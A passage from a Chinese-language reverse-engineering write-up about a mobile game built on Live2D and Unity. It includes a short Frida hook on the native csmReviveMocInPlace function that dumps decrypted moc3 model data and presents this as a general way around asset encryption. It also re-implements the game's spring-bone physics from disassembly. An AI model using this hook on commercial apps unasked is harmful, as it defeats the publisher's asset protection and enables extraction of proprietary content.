<text text-anchor="middle" x="93.9" y="-16.82" font-family="Times,serif" font-size="14.00">Cubism SDK API</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M166.75,-43.76C213.22,-53.04 274.26,-65.23 324.82,-75.32"></path>
<polygon fill="currentColor" stroke="currentColor" points="324.13,-78.75 334.62,-77.28 325.5,-71.89 324.13,-78.75"></polygon>
<text text-anchor="middle" x="253.06" y="-73.85" font-family="Times,serif" font-size="14.00">失敗，但揭露原生層</text>
</g>
</g>
</svg><figcaption>三條死路，指向同一個原生層</figcaption></figure>
<h3 id="2-改攻原生匯出符號" class="phrased">2. 改攻<wbr>原生<wbr>匯出<wbr>符號</h3>
<p><code>Module.enumerateExports()</code> 列出所有以 <code>csm</code> 開頭的原生匯出（共 44 個）：</p>
<pre tabindex="0"><code>csmGetVersion
csmGetMocVersion / csmGetLatestMocVersion
csmHasMocConsistency
csmReviveMocInPlace   ← 關鍵函式
csmInitializeModelInPlace
csmUpdateModel
csmGetDrawable* 系列
</code></pre>
<p><code>csmReviveMocInPlace(void* address, unsigned int mocSize)</code> 吃「已經解密好、可解析的 moc3 資料所在記憶體位址 + 大小」兩個參數。<strong>不需要理解上層是 C# 還是 IL2CPP，也不需要碰加密演算法本身</strong>——只要這個原生函式被呼叫，當下記憶體裡的資料就是 100% 正確可用的明文 moc3。</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="javascript" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="javascript" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> target</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> Module.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">findExportByName</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"UnityFramework"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"csmReviveMocInPlace"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">);</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">Interceptor.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">attach</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(target, {</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">  onEnter</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#702C00;--shiki-dark:#FFB757">args</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">) {</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">    const</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> addr</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">], </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">size</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> =</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">].</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">toInt32</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">();</span></span>
<span data-line=""><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">    send</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">({event: </span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF">"csmReviveMocInPlace"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, size}, addr.</span><span style="--shiki-light:#622CBC;--shiki-dark:#DBB7FF">readByteArray</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(size));</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">  }</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">});</span></span></code></pre></figure>
<p>用 <code>Module.findExportByName</code> 而非硬編位址 offset，天生免疫 ASLR 與重啟位址偏移。</p>
<h3 id="3-通用形狀" class="phrased">3. 通用<wbr>形狀</h3>
<p>這一段的可複用形狀值得單獨寫出來：<strong>找到那個「拿明文當參數」的原生函式，在它身上等。</strong> 不管上層包了幾層加密、混淆、託管執行期，資料終究要以引擎看得懂的形式交給引擎。那個交接點就是最低成本的位置，而且它天然不隨加密方案改版。</p>
<p><code>.moc3</code> / <code>.model3</code> / <code>.physics3</code> 取得後可直接用 Cubism Editor 開，材質需依 <code>BuildModelData</code> 的資訊更名。</p>
<p><strong>狀態：完成（貼圖 atlas 另計，見下）。</strong></p>
<h3 id="4-沒解完的-貼圖-atlas" class="phrased">4. 沒解完的：<wbr>貼圖 atlas</h3>
<p>moc3 專用的 texture atlas 至今沒拿到。依序試過七條路全部失敗（都是 Frida hook + 玩家配合觸發），最後改用純靜態定位載入路徑才找到真正的資料來源。中間有一次把 <code>set_MainTexture</code> 當成正確掛點，繼續反編譯之後推翻。</p>
<blockquote>
<p><strong>更正</strong>：<code>set_MainTexture</code> 假設證實錯誤。當時它「看起來就是那個」，而且 hook 上去也真的有東西——只是那個東西不是我要的。<strong>hook 到東西不等於 hook 對地方。</strong></p>
</blockquote>
<p><strong>狀態：未完成。剩餘選項是 Xcode Metal Frame Capture。</strong></p>
<p>本節來源：<a href="#doc-ClaudeDocs-RE_NOTES_LIVE2D"><code>RE_NOTES_LIVE2D.md</code></a></p>
<p><strong>References</strong></p>
<ul>
<li><a href="https://github.com/OpenL2D/moc3ingbird">https://github.com/OpenL2D/moc3ingbird</a>（moc3 的 ImHex pattern）</li>
</ul>
<hr>
<h2 id="7-彈簧骨物理-未完成" class="phrased">（7）<wbr>彈簧<wbr>骨<wbr>物理<wbr>（未完成）</h2>
<p>裙擺、緞帶、頭髮不隨動畫出貨——烘焙只涵蓋 51 根 humanoid 骨，模型實際有 126 根，少的 75 根（裙擺 31、臉頰 10、緞帶 8…）由遊戲的 Swing/Quartz 在執行期算。</p>
<p>但<strong>參數有出貨</strong>，內嵌在每個模型 bundle 的 MonoBehaviour 裡：</p>
<pre tabindex="0"><code>ActorSwingDynamicBone   掛在 _sim 骨      被模擬的骨
ActorSwingStaticBone    掛在身體骨        碰撞體
ActorSwingChain         掛在 hips         鏈結構
QuartzDriverSkirtBone   掛在 _ast 骨      程序式輔助骨
</code></pre>
<p>（catalog 的 address 搜不到這些，是因為 address 不含 MonoBehaviour 類別名——跟當初搜 Avatar 犯的是同一個錯。）</p>
<p>離線重現的積分器：</p>
<pre tabindex="0"><code>step    = min(dt, 1/60) × 40
restore = (restPos - pos) × (1 - damping)²      拉回動畫算出的靜止位置，不是慣性
force   = CalcStiffnessPendulum(...) + childSpeed × spring
newPos  = pos + restore + force × step
newPos.y -= mass × 0.01            重力
                                   之後：骨長硬約束，再轉成父骨的旋轉
</code></pre>
<figure class="diagram"><svg viewBox="0.00 0.00 867.00 144.00" xmlns="http://www.w3.org/2000/svg" style="max-width:100%;height:auto;display:block;margin:0 auto" role="img" aria-label="彈簧骨積分器：一格的計算順序">
<g class="graph" transform="scale(1 1) rotate(0) translate(4 139.83)">
<polygon fill="none" stroke="none" points="-4,4 -4,-139.83 863.24,-139.83 863.24,4 -4,4"></polygon>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="86.74" cy="-106.42" rx="55.86" ry="29.42"></ellipse>
<text text-anchor="middle" x="86.74" y="-110.62" font-family="Times,serif" font-size="14.00">restore</text>
<text text-anchor="middle" x="86.74" y="-93.82" font-family="Times,serif" font-size="14.00">拉回靜止位置</text>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="321.94" cy="-67.42" rx="112.45" ry="29.42"></ellipse>
<text text-anchor="middle" x="321.94" y="-71.62" font-family="Times,serif" font-size="14.00">newPos</text>
<text text-anchor="middle" x="321.94" y="-54.82" font-family="Times,serif" font-size="14.00">= pos+restore+force×step</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M140.37,-97.61C162.58,-93.9 189.29,-89.43 215.26,-85.09"></path>
<polygon fill="currentColor" stroke="currentColor" points="215.55,-88.59 224.84,-83.49 214.4,-81.69 215.55,-88.59"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="86.74" cy="-29.42" rx="86.74" ry="29.42"></ellipse>
<text text-anchor="middle" x="86.74" y="-33.62" font-family="Times,serif" font-size="14.00">force</text>
<text text-anchor="middle" x="86.74" y="-16.82" font-family="Times,serif" font-size="14.00">Pendulum + spring</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M165.72,-42.12C181.32,-44.66 197.96,-47.38 214.33,-50.04"></path>
<polygon fill="currentColor" stroke="currentColor" points="213.68,-53.48 224.11,-51.64 214.81,-46.57 213.68,-53.48"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="527.07" cy="-67.42" rx="56.68" ry="29.42"></ellipse>
<text text-anchor="middle" x="527.07" y="-71.62" font-family="Times,serif" font-size="14.00">重力</text>
<text text-anchor="middle" x="527.07" y="-54.82" font-family="Times,serif" font-size="14.00">-mass×0.01</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M434.61,-67.42C442.75,-67.42 450.8,-67.42 458.56,-67.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="458.56,-70.92 468.56,-67.42 458.56,-63.92 458.56,-70.92"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="667" cy="-67.42" rx="47.25" ry="18"></ellipse>
<text text-anchor="middle" x="667" y="-63.22" font-family="Times,serif" font-size="14.00">骨長硬約束</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M584.17,-67.42C592.09,-67.42 600.24,-67.42 608.19,-67.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="608.13,-70.92 618.13,-67.42 608.13,-63.92 608.13,-70.92"></polygon>
</g>

<g class="node">

<ellipse fill="none" stroke="currentColor" cx="804.75" cy="-67.42" rx="54.49" ry="18"></ellipse>
<text text-anchor="middle" x="804.75" y="-63.22" font-family="Times,serif" font-size="14.00">轉成父骨旋轉</text>
</g>

<g class="edge">

<path fill="none" stroke="currentColor" d="M714.72,-67.42C722.43,-67.42 730.55,-67.42 738.62,-67.42"></path>
<polygon fill="currentColor" stroke="currentColor" points="738.43,-70.92 748.43,-67.42 738.43,-63.92 738.43,-70.92"></polygon>
</g>
</g>
</svg><figcaption>彈簧骨積分器：一格的計算順序</figcaption></figure>
<p><code>CalcStiffnessPendulum</code>（<code>dynamicType == 0</code>，佔 6900/6940 根骨）：</p>
<pre tabindex="0"><code>delta = rotate(parent.worldRot, boneAxis)      骨的靜止方向
cos   = |dot(cur, rest)| / (|cur|·|rest|)      兩個位置向量的夾角
p     = max(0, cos - (1 - range)) / range × pendulum
return delta × (stiffness - p) × 0.01
</code></pre>
<p>座標是 <strong>animator root space</strong> 不是世界座標，所以直接用 GLB 的骨架階層算就對。</p>
<p>實作裡的積分主迴圈：</p>
<figure data-rehype-pretty-code-figure=""><pre style="--shiki-light:#0e1116;--shiki-dark:#f0f3f6;--shiki-light-bg:#ffffff;--shiki-dark-bg:#0a0c10" tabindex="0" data-language="python" data-theme="github-light-high-contrast github-dark-high-contrast"><code data-language="python" data-theme="github-light-high-contrast github-dark-high-contrast" style="display: grid;"><span data-line=""> </span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">            for</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> _ </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">in</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> range</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(n_sub </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> warm):</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                cur, pv </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pos[ni], prev[ni]</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                inertia </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (cur </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pv) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1.0</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> damping) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">**</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 2</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">                # cos 是 prevPos 與 pos 的夾角 (呼叫端 childTx=-0xf0=prevPos,</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">                # childDefaultTx=(s13,s11,s12)=pos)。0x02793a04 把 -0xf0</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">                # 寫回 child.selfTx.translation, 證實它就是子骨的位置。</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pen </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1e-5</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> or</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> rng </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">&#x3C;=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1e-5</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    p_term </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0.0</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    na, nb </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> np.linalg.norm(pv), np.linalg.norm(cur)</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    cosv </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> abs</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">float</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(np.dot(pv, cur))) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">/</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> max</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(na </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> nb, </span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1e-9</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">)</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    p_term </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> max</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">0.0</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">, cosv </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1.0</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> rng)) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">/</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> rng </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> pen</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">                # delta = rotate(**當前**的 selfTx.rotation, boneAxis) —— §35 釘死:</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">                # selfTx 是迴圈攜帶狀態, 每個子步讀到的是上一子步的模擬結果,</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">                # 不是動畫給的靜止姿勢。骨的當前方向就是 (pos - 骨位置) 正規化。</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">                # 用動畫的 rest_dir 等於憑空多給一個遊戲裡沒有的角度回復力。</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args.delta_current:</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    cd </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cur </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> anchor      </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># §39: 原本用 WT[ni], 與骨長約束的基準不一致</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    cn </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> float</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">(np.linalg.norm(cd))</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    dvec </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cd </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">/</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cn </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cn </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">></span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 1e-9</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> rest_dir</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    dvec </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> rest_dir</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                force </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> dvec </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (stiff </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> p_term) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0.01</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> +</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> csp</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args.vel </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "off"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    new </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cur </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> inertia </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> force </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> step</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">                    # §36: 0x02793408/0x02793410 讀寫 [x20+0x54] 這個累加器 ——</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">                    #   fmul s1, s0, s5             力 × step</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">                    #   fmul v13.2s, v0.2s, v2.s[0] × swingPowerWeight (實測 1.0)</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">                    #   fadd v4.2s, v13.2s, v0.2s   累加進狀態</span></span>
<span data-line=""><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC">                    # 力不是加到位置, 是加進狀態; 狀態才改位置。</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                    vel[ni] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> vel[ni] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> (</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1.0</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> -</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args.vel_damp) </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> force </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> step</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                    if</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args.vel </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">==</span><span style="--shiki-light:#032563;--shiki-dark:#ADDCFF"> "add"</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                        new </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cur </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> inertia </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> vel[ni] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> step</span></span>
<span data-line=""><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">                    else</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">:</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                        new </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> cur </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">+</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> vel[ni] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> step</span></span>
<span data-line=""><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">                new[</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF">1</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6">] </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">-=</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> mass </span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492">*</span><span style="--shiki-light:#023B95;--shiki-dark:#91CBFF"> 0.01</span><span style="--shiki-light:#A0111F;--shiki-dark:#FF9492"> *</span><span style="--shiki-light:#0E1116;--shiki-dark:#F0F3F6"> args.gravity_scale  </span><span style="--shiki-light:#66707B;--shiki-dark:#BDC4CC"># 重力 (每個子步)</span></span></code></pre></figure>
<p><a href="https://git.siao.ai/siao/hohohololive/blob/main/sim_swing.py#L705-L742">在 SiaoHub 檢視 siao/hohohololive/sim_swing.py L705-742</a></p>
<h3 id="現況-26-08-29-更新" class="phrased">現況<wbr>（26/08/29 更新）</h3>
<p>驗證方式是拿遊戲真值逐幀比對——<code>bake_swing_truth.py</code> 從遊戲錄下同一個 clip 的 <code>_sim</code> 骨 local rotation，逐幀算夾角：</p>
<pre tabindex="0"><code>角度 = 2 · arccos(|dot(q_sim, q_truth)|)
</code></pre>
<p>四元數的正負號不影響姿勢，所以取絕對值。整段動作的總誤差一度量到「110%（100% = 彈簧骨完全不動）」，但這個指標後來發現會被單一根骨的偏移放大，不是量整體品質本身——換成<strong>逐骨、逐格</strong>的 swing-twist 分解（把每根骨的旋轉拆成沿骨軸的「扭轉」與垂直骨軸的「彎曲」）重新量之後，誤差的形狀清楚了：</p>
<pre tabindex="0"><code>扭轉   兩邊都 ≤1.5°（跟角度限制的設定值吻合，這條可能本來就該是零）
彎曲   量對，方位弱相關（方位差標準差 63~93°，完全隨機是 104°）
</code></pre>
<figure class="chart"><svg viewBox="0 0 560 280" role="img" aria-label="彎曲方位標準差：模擬 vs 完全隨機基線（越低越接近真值）" style="max-width:100%;height:auto;display:block;margin:0 auto"><line x1="44" y1="230" x2="536" y2="230" style="stroke:var(--ink-dim);stroke-width:1"></line><text x="36" y="234" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">0</text><text x="36" y="131" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">100</text><text x="36" y="28" text-anchor="end" style="fill:var(--ink-dim);font-size:11px">200</text><rect x="94" y="165.11" width="62" height="64.88999999999999" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:0"></rect><text x="126" y="159.11" text-anchor="middle" style="fill:var(--ink);font-size:11px">63</text><text x="126" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">模擬（下界）</text><rect x="258" y="134.20999999999998" width="62" height="95.79000000000002" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:1"></rect><text x="290" y="128.20999999999998" text-anchor="middle" style="fill:var(--ink);font-size:11px">93</text><text x="290" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">模擬（上界）</text><rect x="422" y="122.88" width="62" height="107.12" rx="2" class="chart-bar-positive" style="fill:var(--accent);--i:2"></rect><text x="454" y="116.88" text-anchor="middle" style="fill:var(--ink);font-size:11px">104</text><text x="454" y="260" text-anchor="middle" style="fill:var(--ink-dim);font-size:12px">完全隨機</text></svg><figcaption>彎曲方位標準差：模擬 vs 完全隨機基線（越低越接近真值）</figcaption></figure>
